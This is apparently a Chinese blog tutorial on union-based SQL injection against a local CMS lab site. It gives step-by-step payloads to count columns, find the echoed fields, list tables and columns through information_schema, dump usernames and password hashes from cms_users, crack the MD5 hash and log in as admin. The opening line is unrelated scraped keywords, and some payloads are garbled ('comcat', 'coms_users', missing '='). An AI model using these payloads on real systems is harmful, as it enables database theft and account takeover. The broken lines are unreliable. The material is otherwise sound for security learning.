网站模型怎么做,做平团的网站,wordpress备份博客图片,phpwind wordpress文章目录 联合查询是什么#xff1f;联合查询获取cms账号密码尝试登录 联合查询是什么#xff1f; 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select 语句#xff0c;该语句会同时执行两条select 语句#xff0c;实现跨库、跨表查询。 必要条件 两… 文章目录 联合查询是什么联合查询获取cms账号密码尝试登录 联合查询是什么 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select 语句该语句会同时执行两条select 语句实现跨库、跨表查询。 必要条件 两条select 语句查询结果具有相同列数: 对应的列数据类型相同(特殊情况下条件被放松)。 联合查询就是利用SQL语句中的union select语句同时执行两条select语句实现跨表查询的方法。
由于联合查询会将数据库中的两张表按照列数拼接纵向拼接后再进行查询所以要求两条select语句查询的表必须******有相同的列数并且数据类型相同否则命令会报错。
联合查询获取cms账号密码
判断列数
打开cms数据库的网页http://127.0.0.1/cms/show.php?id33用order by命令测试cms网页的列数有多少order by 15正常回显order by 16报错一共有15列。
打开hackbar插件在URL中输入命令测试
在hackbar中输入下面的命令相当于用联合查询语句在数据库中查表。通过让联合查询的第一个select语句查询为false只回显后一个select语句从而获取能回显的表的列数、数据库名字和版本号等信息。
判断回显位置
?id33 and 12 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15或
?id-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15相当于
select * from table_name where id33 and 12 union select和
select * from table_name where id-33 union select运行结果
语句的回显结果说明只有3列和11列能进行数据库的内容回显 获取数据库名字
将有回显的11列用database函数代替让它回显数据库的名称
?id-33 union select 1,2,3,4,5,6,7,8,9,10,database,12,13,14,15运行结果 获取数据库版本号
原理同上
?id-33 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15运行结果 指定获取元数据数据库中当前数据库存储表名的tables表中的字段information_schema 元数据数据库(存储库名、表名-- tables、列名-- columns)
?id-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schemadatabase()因为联合查询中数据类型必须一致所以用hex函数将字符转成数字;where table_schemadatabase指定查询当前数据库的表名也就是cms数据库group_concat()函数将所有表名联合成一个列、一个字符串。
运行结果 将16进制转字符 获得结果 cms_article cms_category cms_file cms_friendlink cms_message cms_notice cms_page cms_users 注意到cms_users这个表里面很可能储存了数据库的用户名和密码。
获取cms_users表的列的字段内容
?id-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schemadatabase() and table_namecms_users运行结果 将16进制转字符 获得结果 userid username password 获取账密
?id-33 union select 1,2,3,4,5,6,7,8,9,10,comcat(username,0x3a,password),12,13,14,15 from coms_users运行结果 用md5解密后获得账号密码 admin 123456 尝试登录 登录成功